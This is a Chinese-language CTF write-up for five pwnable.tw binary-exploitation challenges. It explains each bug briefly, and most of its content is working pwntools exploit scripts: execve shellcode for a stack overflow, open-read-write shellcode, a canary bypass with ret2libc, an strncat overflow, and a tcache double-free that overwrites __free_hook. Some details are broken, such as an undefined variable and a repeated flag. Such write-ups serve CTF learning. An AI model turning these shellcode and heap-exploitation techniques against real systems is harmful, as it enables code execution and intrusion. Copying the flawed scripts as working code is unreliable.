

pwnable.tw writeup

原创

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订阅专栏

start

这道题是静态编译的，或者可以理解是直接用汇编写的，所以这个程序很小，没有可以利用的函数；

```
sir@sir-PC:~/desktop$ objdump -R start

start:      文件格式 elf32-i386

objdump: start: 不是动态对象
objdump: start: 无效的操作
```

反汇编代码：

```
sir@sir-PC:~/desktop$ objdump -d start -M intel
```

```
start:      文件格式 elf32-i386
```

```
Disassembly of section .text:
```

```
08048060 <_start>:
```

```
8048060: 54          push   esp
8048061: 68 9d 80 04 08    push   0x804809d
8048066: 31 c0        xor    eax,eax
8048068: 31 db        xor    ebx,ebx
804806a: 31 c9        xor    ecx,ecx
804806c: 31 d2        xor    edx,edx
804806e: 68 43 54 46 3a    push   0x3a465443
8048073: 68 74 68 65 20    push   0x20656874
8048078: 68 61 72 74 20    push   0x20747261
804807d: 68 73 20 73 74    push   0x74732073
8048082: 68 4c 65 74 27    push   0x2774654c
8048087: 89 e1        mov    ecx,esp
8048089: b2 14        mov    dl,0x14
804808b: b3 01        mov    bl,0x1
804808d: b0 04        mov    al,0x4
804808f: cd 80        int    0x80
8048091: 31 db        xor    ebx,ebx
8048093: b2 3c        mov    dl,0x3c
8048095: b0 03        mov    al,0x3
8048097: cd 80        int    0x80
8048099: 83 c4 14        add    esp,0x14
804809c: c3          ret
```

```
0804809d <_exit>:
```

```
804809d: 5c          pop    esp
804809e: 31 c0        xor    eax,eax
80480a0: 40          inc    eax
80480a1: cd 80        int    0x80
```

可以看到程序没有什么可用函数，都靠int 0x80来执行的；

所以这里有两个关键函数：

```
8048087: 89 e1        mov    ecx,esp
8048089: b2 14        mov    dl,0x14
804808b: b3 01        mov    bl,0x1
804808d: b0 04        mov    al,0x4
804808f: cd 80        int    0x80
```

这段汇编相当于printf函数，会把ecx的内容打印出来，可以用来泄露地址；

```
8048091: 31 db        xor    ebx,ebx
8048093: b2 3c        mov    dl,0x3c
8048095: b0 03        mov    al,0x3
8048097: cd 80        int    0x80
```

这段汇编代码，相当于gets()函数，会有溢出；

检查一下保护机制：

```
sir@sir-PC:~/desktop$ checksec start
[*] '/home/sir/desktop/start'
Arch:      i386-32-little
RELRO:    No RELRO
Stack:    No canary found
NX:       NX disabled
PIE:     No PIE (0x8048000)
```

思路

思路很简单,因为保护机制全关, 所以我们可以直接将shellcode写入栈里面, 然后返回到shellcode的地址, 执行shellcode; 所以关键点就是泄露出栈的地址, 因为汇编中有`mov ecx,esp`, 所以可以直接泄露esp的地址, 即栈的地址;

EXP

```
from pwn import *
p = remote('chall.pwnable.tw',10000)
#p = process('./start')
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
if args.G:
    gdb.attach(p)
put_addr = 0x8048087
payload = 'a'*20 + p32(put_addr)
p.recvuntil("Let's start the CTF:")
p.send(payload)
stark = u32(p.recv(4))
print "addr: " + hex(addr)
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload2 = 'a'*20 + p32(stark+0x14) + '\x90'*4 + shellcode
p.send(payload2)
p.interactive()
#FLAG{Pwn4bL3_tw_1s_y0ur_st4rt}
```

ORW

思路

这道题考察shellcode的编写, 而且我们输入的内容会被直接当成代码来执行;

```
8048571: 68 c8 00 00 00      push   0xc8
8048576: 68 60 a0 04 08      push   0x804a060
804857b: 6a 00                push   0x0
804857d: e8 ee fd ff ff      call   8048370 <read@plt>
8048582: 83 c4 10              add    esp,0x10
8048585: b8 60 a0 04 08      mov    eax,0x804a060
804858a: ff d0                call   eax
```

但是程序有一个orw_seccomp函数, 里面有prctl函数, 这里限制了我们只能使用open read write这三个程序本身自带函数;

```

080484cb <orw_seccomp>:
80484cb: 55          push    ebp
80484cc: e5          mov     ebp,esp
80484ce: 57          push    edi
80484cf: 56          push    esi
80484d0: 53          push    ebx
80484d1: 83 ec 7c    sub    esp,0x7c
80484d4: 65 a1 14 00 00 00  mov    eax,gs:0x14
80484da: 89 45 e4    mov    DWORD PTR [ebp-0x1c],eax
80484dd: 31 c0        xor    eax,eax
80484df: 8d 45 84    lea    eax,[ebp-0x7c]
80484e2: bb 40 86 04 08  mov    ebx,0x8048640
80484e7: ba 18 00 00 00  mov    edx,0x18
80484ec: 89 c7        mov    edi,eax
80484ee: 89 de        mov    esi,ebx
80484f0: 89 d1        mov    ecx,edx
80484f2: f3 a5        rep    movs DWORD PTR es:[edi],DWORD PTR ds:[esi]
80484f4: 66 c7 85 7c ff ff ff  mov    WORD PTR [ebp-0x84],0xc
80484fb: 0c 00
80484fd: 8d 45 84    lea    eax,[ebp-0x7c]
8048500: 89 45 80    mov    DWORD PTR [ebp-0x80],eax
8048503: 83 ec 0c    sub    esp,0xc
8048506: 6a 00        push   0x0
8048508: 6a 00        push   0x0
804850a: 6a 00        push   0x0
804850c: 6a 01        push   0x1
804850e: 6a 26        push   0x26
8048510: e8 9b fe ff ff  call   80483b0 <prctl@plt>
8048515: 83 c4 20    add    esp,0x20
8048518: 83 ec 04    sub    esp,0x4
804851b: 8d 85 7c ff ff ff  lea    eax,[ebp-0x84]
8048521: 50          push   eax
8048522: 6a 02        push   0x2
8048524: 6a 16        push   0x16
8048526: e8 85 fe ff ff  call   80483b0 <prctl@plt>
804852b: 83 c4 10    add    esp,0x10
804852e: 90          nop
804852f: 8b 45 e4    mov    eax,DWORD PTR [ebp-0x1c]
8048532: 65 33 05 14 00 00 00  xor    eax,DWORD PTR gs:0x14
8048539: 74 05        je     8048540 <orw_seccomp+0x75>
804853b: e8 50 fe ff ff  call   8048390 <__stack_chk_fail@plt>
8048540: 8d 65 f4    lea    esp,[ebp-0xc]
8048543: 5b          pop    ebx
8048544: 5e          pop    esi
8048545: 5f          pop    edi
8048546: 5d          pop    ebp
8048547: c3          ret

```

但是我们确实只需要open read write这三个函数就可以了,只是需要我们自己写:

```

open_shellcode = "xor ecx,ecx;xor edx,edx;mov eax,0x5;push 0x00006761;push 0x6c662f77;push 0x726f2f65;push 0x6d6
f682f;mov ebx,esp;int 0x80;"  

#打开文件  

read_shellcode = "mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x40;int 0x80;"  

#读取文件  

write_shellcode = "mov eax,0x4;mov ebx,0x1;mov edx,0x40;int 0x80;"  

#打印文件

```

```

from pwn import *
p = remote('chall.pwnable.tw',10001)
#p = process('./orw')
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
if args.G:
    gdb.attach(p)
open_shellcode = "xor ecx,ecx;xor edx,edx;mov eax,0x5;push 0x00006761;push 0x6c662f77;push 0x726f2f65;push 0x6d6f682f;mov ebx,esp;int 0x80;"

read_shellcode = "mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x40;int 0x80;"

write_shellcode = "mov eax,0x4;mov ebx,0x1;mov edx,0x40;int 0x80;"

shellcode = open_shellcode + read_shellcode + write_shellcode
payload = asm(shellcode)
p.recvuntil('Give my your shellcode:')
p.send(payload)
p.interactive()
#FLAG{sh3LLc0ding_w1th_op3n_r34d_writ3}

```

或者shellcraft构造shellcode

```

from pwn import *
p = remote('chall.pwnable.tw',10001)
#p = process('./orw')
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
if args.G:
    gdb.attach(p)

shellcode = ""
shellcode += shellcraft.i386.pushstr("/home/orw/flag")
shellcode += shellcraft.i386.linux.syscall("SYS_open", 'esp')
shellcode += shellcraft.i386.linux.syscall("SYS_read", 'eax', 'esp', 0x30)
shellcode += shellcraft.i386.linux.syscall("SYS_write", 1, 'esp', 0x30)

payload = asm(shellcode)
p.recvuntil('Give my your shellcode:')
p.send(payload)
p.interactive()
#FLAG{sh3LLc0ding_w1th_op3n_r34d_writ3}

```

dubblesort

思路

排序后的数字序列仍然保存在原先栈上开辟的这段空间内，只不过数值的顺序变了；所以由于待排序数组位于栈空间内，而当前栈空间的大小是有限的，这就可以导致栈溢出；输入“+”或者“-”就可以保持栈空间里数值边，即可以使溢出时canary不变，从而绕过函数最后的canary检查，实现栈上任意位置的写入

EXP

```

from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
name = './du'
#p = process(name)
p = remote("chall.pwnable.tw", 10101)
elf= ELF(name)
libc = ELF("./bc.so.6")
if args.G:
    gdb.attach(p)

got_off = 0x1b0000
system_off = 0x3a940
bin_sh_off = 0x158e8b

p.recvuntil('What your name :')
p.sendline('a'*24)
got_addr = u32(p.recv()[30:34])-0xa
libc_addr = got_addr-got_off
system_addr = libc_addr + system_off
bin_sh_addr = libc_addr + bin_sh_off
p.sendline('35')
p.recv()
for i in range(24):
    p.sendline('0')
    p.recv()
p.sendline('+')
p.recv()
for i in range(9):
    p.sendline(str(system_addr))
    p.recv()
p.sendline(str(bin_sh_addr))
p.recv()
p.interactive()
#FLAG{tc4ch3_1s_34sy_f0r_y0u}

```

Silver Bullet

函数create_bullet:

```

int __cdecl create_bullet(char *s)
{
    size_t v2; // ST08_4

    if ( *s )
        return puts("You have been created the Bullet !");
    printf("Give me your description of bullet :");
    read_input(s, 0x30u);
    v2 = strlen(s);
    printf("Your power is : %u\n", v2);           // s的长度
    *((_DWORD *)s + 12) = v2;                    // +12指12个dword长度
    return puts("Good luck !!");
}

```

Power up函数:

```
int __cdecl power_up(char *dest)
{
    char s; // [esp+0h] [ebp-34h]
    size_t v3; // [esp+30h] [ebp-4h]

    v3 = 0;
    memset(&s, 0, 0x30u);
    if (!*dest)
        return puts("You need create the bullet first !");
    if (*((DWORD *)dest + 12) > 0x2Fu) // *(dest+12)指针指向的值 > 47
        return puts("You can't power up any more !");
    printf("Give me your another description of bullet :");
    read_input(&s, 48 - *((_DWORD *)dest + 12)); // 限制读入长度
    strncat(dest, &s, 48 - *((_DWORD *)dest + 12)); // 使用strncat连接两字符串，会自动在结尾添加\x00
    v3 = strlen(&s) + *((_DWORD *)dest + 12);
    printf("Your new power is : %u\n", v3);
    *((_DWORD *)dest + 12) = v3;
    return puts("Enjoy it !");
}
```

思路

strncat函数将src字符串最多前n字节添加到dest字符串的末尾(从dest原来末尾的'\x00'开始), 并在添加结束后在末尾补上一个'\x00'; 所以我们可以覆盖*((_DWORD *)dest + 12)这个位置, 然后溢出覆盖返回地址;
覆盖的返回地址会在beat函数返回时触发;

EXP

```

from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
name = './Silver Bullet'
#p = process(name)
p=remote('chall.pwnable.tw', 10103)
elf= ELF(name)
libc = ELF('./libc_32.so.6')
if args.G:
    gdb.attach(p)

def creat():
    p.recvuntil('Your choice :')
    p.sendline('1')
    p.recvuntil('Give me your description of bullet :')
    p.sendline('a'*47)

def power(data):
    p.recvuntil('Your choice :')
    p.sendline('2')
    p.recvuntil('Give me your another description of bullet :')
    p.sendline(data)

def beat():
    p.recvuntil('Your choice :')
    p.sendline('3')

creat();
power('b')
main = 0x8048954
pay1 = '\xff'*7 + p32(elf.plt['puts']) + p32(main) + p32(elf.got['read'])
power(pay1)
beat()
p.recvuntil('Oh ! You win !!\n')
read_addr = u32(p.recv(4))
libc_addr = read_addr - libc.symbols['read']
system_addr = libc_addr + libc.symbols['system']
bin_addr = libc_addr + next(libc.search('/bin/sh'))
success("libc_addr: " + hex(libc_addr))
success("system_addr: " + hex(system_addr))
success("bin_addr: " + hex(bin_addr))
creat();
power('b')
pay2 = '\xff'*7 + p32(system_addr) + p32(main) + p32(bin_addr)
power(pay2)
beat()
p.interactive()
#FLAG{uS1ng_S1lv3r_bu1l3t_7o_Pwn_th3_w0rl0d}

```

Tcache Tear

思路

有double_free漏洞，在利用的时候需要构造一个smallbin在name的位置上面，通过delete操作将libc的地址泄露出来，最后可以利用one_gadget来getshell；

EXP

```
from pwn import *
```

```
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh', '-c']
name = './tcache_tear'
#p = process(name)
p=remote("chall.pwnable.tw",10207)
elf= ELF(name)
libc = ELF('./bc.so.6')
if args.G:
    gdb.attach(p)
#name:0x602060
#ptr:0x602088

def add(num,data):
    p.recvuntil('Your choice :')
    p.sendline('1')
    p.recvuntil('Size:')
    p.sendline(str(num))
    p.recvuntil('Data:')
    p.sendline(data)

def delete():
    p.recvuntil('Your choice :')
    p.sendline('2')

def show():
    p.recvuntil('Your choice :')
    p.sendline('3')

p.recvuntil('Name:')
p.sendline('sir')

add(0x70,'a'*8)
delete()
delete()
add(0x70,p64(0x602550))
add(0x70,'bin/sh\x00')
pay1 = p64(0) + p64(0x21) + 'b'*8*2 + p64(0) + p64(0x21)
add(0x70,pay1)
#Leak
add(0x60,'c'*8)
delete()
delete()
add(0x60,p64(0x602050))
add(0x60,'/bin/sh\x00')
pay2 = p64(0) + p64(0x501) + 'q'*8*5 + p64(0x602060)
add(0x60,pay2)
delete()
show()
p.recvuntil('Name :')
lib_addr = u64(p.recv(6) + '\x00\x00') - 0x3ebca0
free_hook_addr = lib_addr + 0x3ed8e8
one_gadget = lib_addr + 0x4f322 #0x4f2c5 0x10a38c
success("lib_addr: " + hex(lib_addr))
success("free_hook_addr: " + hex(free_hook_addr))
success("one_gadget: " + hex(one_gadget))

#getshell
add(0x40,'c'*8)
delete()
delete()
```

```
delete()
add(0x40,p64(free_hook_addr))
add(0x40,'/bin/sh\x00')
add(0x40,p64(one_gadget))
delete()
p.interactive()
#FLAG{tc4ch3_1s_34sy_f0r_y0u}
```